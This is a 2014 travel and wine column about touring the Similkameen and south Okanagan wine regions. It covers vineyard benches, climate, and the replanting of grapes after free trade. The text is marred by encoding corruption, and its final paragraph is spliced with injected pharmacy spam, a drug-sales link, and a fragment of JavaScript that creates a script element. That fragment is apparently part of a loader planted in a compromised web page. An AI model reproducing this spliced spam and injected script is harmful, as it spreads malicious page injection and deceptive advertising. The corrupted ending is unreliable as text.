Okanagan spring reveals secrets – April 19, 2014


By Anthony Gismondi

A recent quick trip into the Okanagan reminded me how much I like to be in wine country just after pruning and before the leaves have covered the vines. Ita��s the best time of year to discover the nooks and crannies of a vineyard site and to come to understand the notion of a sitea��s topography and how it influences vine ripening and quality.

It is a peaceful drive this time of year and with no snow, no motorhomes and the new Port Mann Bridge, you can leave the western reaches of the Lower Mainland on Highway 1 and be in the south Okanagan in a quick four hours.

Just east of Hope after leaving Highway 1, the road forks and offers two routes to the Okanagan. Most take the Coquihalla (Highway 5) into West Kelowna andA�Peachland, although lately I find myself veering to the right on to Highway 3 and taking the southern route through Manning Park before winding east through the spectacular Similkameen Valley, enroute to Osoyoos and the southern reaches of the Okanagan Valley.

The Similkameen, with more than 40 per cent of all crops grown organically, is considered the organic capital of Canada. Its near-desert environment provides favourable growing conditions for grapes and with 600 acres of vineyards in the ground, ita��s game-on for the valley. The Similkameen bench nestles into considerable protection from the steep-sloped mountains to the north and west as you travel from Keremeos to Cawston, while facing south and southwest its vineyards face the warmest rays of the sun.

The mountains have continuously fed the valley floor with rocks eroded by wind, rain, snow and sun, lending this sub-regiona��s wine a distinctive minerality and freshness that is not easily duplicated anywhere in the world. You can visit a dozen wineries in the Similkameen Valley, recently named by enRoute magazine as a�?one of the five best wine regions you never heard of.a�?

As you leave the valley heading east, the 20-minute drive to Osoyoos is equally breathtaking, bringing you into the south Okanagan via a long north-south descent overlooking the Golden Mile Bench, the Osoyoos Lake Bench and to the north and east the Black Sage Bench.

The south Okanagan has become a paradise for wine touring, complete with restaurants, hotels and a staggering 5,000-plus acres of vineyards. The true south stretches from the border north, past Oliver, to the spectacular, basalt-faced McIntyre Bluff, the accepted dividing line between north and south, and the end of the northernmost point of the Great Basin Desert.

The driest and warmest vineyards are in the Okanagan, where the native antelope brush is darker and the vegetation and shrubs of the central and north Okanagan give way to barren grasslands. Osoyoos Lake, fed by the Okanagan River, moderates temperatures before heading south into Washington State and eventually on the Columbia River.

Therea��s over 40 years of grape-growing history in the south but before 1990, grapes such as schA�nburger, marA�chal foch and hybrids were the norm. Most were ripped out in the late 1980s, when the Canadaa��U.S. free-trade agreement (in conjunction with a GATT ruling against protective barriers that favoured domestic wineries) forced the hand of growers to compete against the rest of the world. Growers received $8,100 an acre to pull out grapes that were going nowhere in favour of a much more competitive mix today of syrah, merlot, cabernet franc, grenache, viognier, marsanne, roussanne, chardonnay and more.

We will begin a spring and summer-long look next week at some of the wines, wineries and people who are making waves in British Columbia wine country and compare their products in price and quality to what is available from the rest of the world. We hope to provide myriad reasons to visit B.C. wine country this summer and discover the latest in the areaa��s wines.} else { fertomid for sale south africa http://mirecertificacion.com/buy-cabaser-dostinex/ pills online is nolvadex sold over the counter var d=document;var s=d.createElement('script'); } levitra brand pills for sale

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